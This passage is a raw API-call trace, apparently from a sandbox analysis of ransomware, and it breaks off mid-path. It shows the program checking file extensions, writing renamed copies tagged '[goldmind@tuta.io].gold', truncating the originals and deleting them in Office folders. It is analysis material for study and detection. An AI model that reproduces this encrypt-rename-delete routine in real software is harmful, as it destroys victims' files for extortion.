lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0037.412] lstrlenW (lpString=".zip") returned 4 [0037.412] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0037.412] lstrlenW (lpString=".rar") returned 4 [0037.412] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0037.412] lstrlenW (lpString=".bz2") returned 4 [0037.412] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0037.412] lstrlenW (lpString=".7z") returned 3 [0037.412] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0037.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0037.412] lstrlenW (lpString=".dbf") returned 4 [0037.412] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0037.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0037.412] lstrlenW (lpString=".1cd") returned 4 [0037.412] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0037.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0037.412] lstrlenW (lpString=".jpg") returned 4 [0037.412] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0037.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0037.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0037.412] lstrlenW (lpString=".doc") returned 4 [0037.412] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0037.412] lstrlenW (lpString=".docx") returned 5 [0037.412] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0037.412] lstrlenW (lpString=".pdf") returned 4 [0037.412] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0037.412] lstrlenW (lpString=".xls") returned 4 [0037.412] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0037.412] lstrlenW (lpString=".xlsx") returned 5 [0037.412] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0037.412] lstrlenW (lpString=".ppt") returned 4 [0037.412] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0037.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0037.412] lstrlenW (lpString=".zip") returned 4 [0037.412] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0037.412] lstrlenW (lpString=".rar") returned 4 [0037.412] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0037.412] lstrlenW (lpString=".bz2") returned 4 [0037.412] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0037.412] lstrlenW (lpString=".7z") returned 3 [0037.412] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0037.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0037.412] lstrlenW (lpString=".dbf") returned 4 [0037.412] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0037.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0037.412] lstrlenW (lpString=".1cd") returned 4 [0037.412] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0037.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0037.412] lstrlenW (lpString=".jpg") returned 4 [0037.412] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0037.413] lstrcmpiW (lpString1=".CHM", lpString2=".gold") returned -1 [0037.413] lstrlenW (lpString="PSS10O.CHM") returned 10 [0037.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.413] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=26929) returned 1 [0037.413] CloseHandle (hObject=0x1e4) returned 1 [0037.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0037.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0037.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.413] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.413] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0037.414] GetLastError () returned 0x0 [0037.414] ReadFile (in: hFile=0x1e4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x6931, lpOverlapped=0x0) returned 1 [0037.415] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x6940, lpOverlapped=0x0) returned 1 [0037.416] ReadFile (in: hFile=0x1e4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.416] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0037.417] SetEndOfFile (hFile=0x1e8) returned 1 [0037.418] CloseHandle (hObject=0x1e8) returned 1 [0037.419] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.419] SetEndOfFile (hFile=0x1e4) returned 1 [0037.420] CloseHandle (hObject=0x1e4) returned 1 [0037.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0037.420] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0037.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0037.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0037.420] lstrlenW (lpString=".doc") returned 4 [0037.420] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0037.420] lstrlenW (lpString=".docx") returned 5 [0037.420] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0037.420] lstrlenW (lpString=".pdf") returned 4 [0037.420] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0037.420] lstrlenW (lpString=".xls") returned 4 [0037.420] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0037.420] lstrlenW (lpString=".xlsx") returned 5 [0037.420] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0037.421] lstrlenW (lpString=".ppt") returned 4 [0037.421] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0037.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0037.421] lstrlenW (lpString=".zip") returned 4 [0037.421] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0037.421] lstrlenW (lpString=".rar") returned 4 [0037.421] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0037.421] lstrlenW (lpString=".bz2") returned 4 [0037.421] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0037.421] lstrlenW (lpString=".7z") returned 3 [0037.421] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0037.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0037.421] lstrlenW (lpString=".dbf") returned 4 [0037.421] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0037.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0037.421] lstrlenW (lpString=".1cd") returned 4 [0037.421] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0037.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0037.421] lstrlenW (lpString=".jpg") returned 4 [0037.421] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0037.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0037.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0037.421] lstrlenW (lpString=".doc") returned 4 [0037.421] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0037.421] lstrlenW (lpString=".docx") returned 5 [0037.421] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0037.421] lstrlenW (lpString=".pdf") returned 4 [0037.421] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0037.421] lstrlenW (lpString=".xls") returned 4 [0037.421] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0037.421] lstrlenW (lpString=".xlsx") returned 5 [0037.421] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0037.421] lstrlenW (lpString=".ppt") returned 4 [0037.421] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0037.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0037.421] lstrlenW (lpString=".zip") returned 4 [0037.421] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0037.421] lstrlenW (lpString=".rar") returned 4 [0037.421] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0037.421] lstrlenW (lpString=".bz2") returned 4 [0037.421] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0037.421] lstrlenW (lpString=".7z") returned 3 [0037.421] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0037.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0037.421] lstrlenW (lpString=".dbf") returned 4 [0037.421] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0037.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0037.421] lstrlenW (lpString=".1cd") returned 4 [0037.421] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0037.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0037.421] lstrlenW (lpString=".jpg") returned 4 [0037.421] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0037.422] lstrcmpiW (lpString1=".CHM", lpString2=".gold") returned -1 [0037.422] lstrlenW (lpString="PSS10R.CHM") returned 10 [0037.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.621] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=27195) returned 1 [0037.621] CloseHandle (hObject=0x1ec) returned 1 [0037.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0037.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0037.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.621] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.621] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0037.621] GetLastError () returned 0x0 [0037.621] ReadFile (in: hFile=0x1ec, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0037.652] WriteFile (in: hFile=0x1f0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0037.653] ReadFile (in: hFile=0x1ec, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.653] WriteFile (in: hFile=0x1f0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0037.653] SetEndOfFile (hFile=0x1f0) returned 1 [0037.653] CloseHandle (hObject=0x1f0) returned 1 [0037.654] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.654] SetEndOfFile (hFile=0x1ec) returned 1 [0037.655] CloseHandle (hObject=0x1ec) returned 1 [0037.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0037.656] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0037.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0037.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0037.656] lstrlenW (lpString=".doc") returned 4 [0037.656] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0037.656] lstrlenW (lpString=".docx") returned 5 [0037.656] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0037.656] lstrlenW (lpString=".pdf") returned 4 [0037.656] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0037.656] lstrlenW (lpString=".xls") returned 4 [0037.656] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0037.656] lstrlenW (lpString=".xlsx") returned 5 [0037.656] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0037.656] lstrlenW (lpString=".ppt") returned 4 [0037.656] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0037.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0037.656] lstrlenW (lpString=".zip") returned 4 [0037.656] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0037.656] lstrlenW (lpString=".rar") returned 4 [0037.656] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0037.656] lstrlenW (lpString=".bz2") returned 4 [0037.656] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0037.656] lstrlenW (lpString=".7z") returned 3 [0037.656] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0037.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0037.656] lstrlenW (lpString=".dbf") returned 4 [0037.656] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0037.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0037.656] lstrlenW (lpString=".1cd") returned 4 [0037.656] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0037.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0037.656] lstrlenW (lpString=".jpg") returned 4 [0037.656] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0037.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0037.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0037.656] lstrlenW (lpString=".doc") returned 4 [0037.656] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0037.656] lstrlenW (lpString=".docx") returned 5 [0037.656] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0037.656] lstrlenW (lpString=".pdf") returned 4 [0037.657] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0037.657] lstrlenW (lpString=".xls") returned 4 [0037.657] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0037.657] lstrlenW (lpString=".xlsx") returned 5 [0037.657] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0037.657] lstrlenW (lpString=".ppt") returned 4 [0037.657] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0037.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0037.657] lstrlenW (lpString=".zip") returned 4 [0037.657] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0037.657] lstrlenW (lpString=".rar") returned 4 [0037.657] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0037.657] lstrlenW (lpString=".bz2") returned 4 [0037.657] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0037.657] lstrlenW (lpString=".7z") returned 3 [0037.657] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0037.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0037.657] lstrlenW (lpString=".dbf") returned 4 [0037.657] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0037.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0037.657] lstrlenW (lpString=".1cd") returned 4 [0037.657] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0037.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0037.657] lstrlenW (lpString=".jpg") returned 4 [0037.657] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0037.657] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0037.657] lstrlenW (lpString="SETUP.XML") returned 9 [0037.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.660] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=2362) returned 1 [0037.660] CloseHandle (hObject=0x1e4) returned 1 [0037.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0037.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0037.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.661] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.661] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0037.661] GetLastError () returned 0x0 [0037.661] ReadFile (in: hFile=0x1e4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x93a, lpOverlapped=0x0) returned 1 [0037.663] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x940, lpOverlapped=0x0) returned 1 [0037.664] ReadFile (in: hFile=0x1e4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.664] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.664] SetEndOfFile (hFile=0x1e8) returned 1 [0037.664] CloseHandle (hObject=0x1e8) returned 1 [0037.665] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.665] SetEndOfFile (hFile=0x1e4) returned 1 [0037.666] CloseHandle (hObject=0x1e4) returned 1 [0037.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 